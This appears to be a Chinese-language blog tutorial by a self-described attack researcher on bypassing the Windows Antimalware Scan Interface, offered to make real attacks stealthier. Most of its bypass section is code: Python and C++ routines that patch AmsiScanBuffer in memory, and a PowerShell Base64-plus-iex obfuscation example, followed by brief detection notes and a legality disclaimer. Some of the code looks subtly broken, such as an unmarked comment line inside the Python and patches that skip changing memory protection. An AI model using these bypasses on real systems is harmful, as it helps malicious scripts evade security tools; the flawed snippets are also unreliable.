0x01 AMSI那些事儿
为了保护系统免受恶意软件的侵害,微软在Windows系统中引入了Windows防恶意软件扫描接口(AMSI),让各类安全工具能够更有效地检测潜在的威胁。这一接口通过拦截脚本执行来进行实时监控和分析,可以说是对抗恶意软件的一道重要防线。然而,作为一名攻击研究人员,我的目标是探索如何绕过这些防护措施,以提升攻击技术的隐蔽性。因此,我将带你了解AMSI的架构,以及我们如何在实际攻击中绕过它。
AMSI的日常工作
AMSI主要负责拦截和检查在Windows环境中执行的脚本。当用户运行一个脚本时,AMSI会先捕获脚本内容,然后调用本地或网络的安全解决方案来分析异常行为。它能够与多种脚本语言交互,包括PowerShell、VBScript和JavaScript等。
这意味着任何被AMSI拦截的恶意代码都会被传递给安全解决方案进行实时扫描,这让攻击者的恶意代码难以执行。然而,攻击者总能找到方法绕过这些防护。下面,我将直奔主题,分享如何绕过AMSI,以便在实际环境中进行隐蔽攻击。
0x02 绕过AMSI:让恶意代码自由驰骋
绕过AMSI需要对它的工作机制有深刻的理解,尤其是它与系统API的交互过程。攻击者绕过AMSI通常有几种策略:修改内存内容、利用API漏洞、混淆代码等。接下来,我们将构建一个实验环境,并详细演示如何实现这些方法。
实战环境搭建
为了安全地进行AMS绕过实验,我们需要在虚拟机上准备一个Windows环境,并安装常用的安全工具和脚本执行环境。以下是环境搭建的步骤:
- 准备虚拟机:使用VirtualBox或VMware Workstation创建一个Windows 10虚拟机。
- 安装PowerShell 7:下载并安装PowerShell 7,以便更好地测试AMSI与PowerShell的交互。
- 设置安全工具:安装Windows Defender和其他第三方安全软件以观察绕过效果。
AMSI绕过策略
内存篡改
内存篡改是最直接的绕过AMSI的方法。通过修改某些内存内容,可以让AMSI失去效力。以下是如何使用Python和C++来实现这一策略:
<pre><code class="language-python">import ctypes
def patch_amsi(): amsi_dll = ctypes.windll.kernel32.GetModuleHandleW("amsi.dll") amsi_scan_buffer = ctypes.windll.kernel32.GetProcAddress(amsi_dll, "AmsiScanBuffer")
修改内存内容,将AmsiScanBuffer替换为无效值
patch = b'\xB8\x57\x00\x07\x80\xC3' ctypes.windll.kernel32.WriteProcessMemory(-1, amsi_scan_buffer, patch, len(patch), 0)
if __name__ == "__main__": patch_amsi()</code></pre>
代码说明:
- 这段代码找到AMSI库中的
AmsiScanBuffer函数,并用无效值覆盖其地址。 - 这样可以让AMSI无法正常工作,从而绕过检测。
API利用
利用API漏洞也是一种常见的绕过方法。某些情况下,攻击者可以通过调用Windows API中的弱点,让AMSI无法检测到恶意代码的执行。
<pre><code class="language-cpp">#include <windows.h>
int main() { HMODULE hAMSI = LoadLibrary("amsi.dll"); FARPROC pAmsiScanBuffer = GetProcAddress(hAMSI, "AmsiScanBuffer");
// 修改内存内容 unsigned char patch[] = { 0xC3 }; // RET指令直接返回 SIZE_T written; WriteProcessMemory(GetCurrentProcess(), pAmsiScanBuffer, patch, sizeof(patch), &written);

return 0; }</code></pre>
代码说明:
- 这段C++代码通过修改
AmsiScanBuffer函数的内存,使其直接返回,从而绕过AMSI检测。 - 使用
WriteProcessMemory函数进行内存修改。
混淆技术
通过代码混淆技术,可以让AMSI难以识别恶意代码。以下是使用PowerShell进行代码混淆的示例:
<pre><code class="language-powershell">$code = @' function Get-Content { param([string]$path) return "Hello World" }
Get-Content "C:\fake\path" '@

$encoded = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($code)) iex ([System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($encoded)))</code></pre>
代码说明:
- 使用Base64编码恶意代码,使其在传输过程中难以被AMSI识别。
- PowerShell的
iex命令可以动态执行解码后的内容。
0x03 安全工具的应对之策
绕过AMSI的技术虽然强大,但安全工具也在不断进化以应对这些攻击。了解防御措施同样重要,因为这能帮助我们提升攻击和防御的能力。
检测与防御
为了抵御AMSI绕过攻击,安全工具通常采用以下策略:

- 行为分析:通过分析脚本和程序的行为来检测异常。例如,监控内存修改和API调用频率。
- 混淆检测:利用机器学习算法识别混淆代码的结构和模式。
- 实时更新:不断更新签名和检测规则,以识别新的绕过技术。
个人经验分享
作为一名APT攻击研究人员,我发现绕过AMSI并不是万能的解决方案。虽然能够绕过一些检测,但这通常需要对目标环境有深入了解,并不断更新技术。以下是我的一些经验总结:
- 了解目标环境:在攻击前,尽量收集目标系统的详细信息,以便制定有效的绕过策略。
- 持续学习:安全工具在不断演进,攻击技术也需随之更新。保持对新技术的学习才能保持领先。
- 合作与交流:与其他研究人员合作,分享经验和技术,以获得更多的绕过方法。
希望这篇文章能为你提供一些启发,帮助你在实战中提升攻击技术。记住,所有攻击技术都需在合法授权和研究目的下进行,保持道德与法律的底线。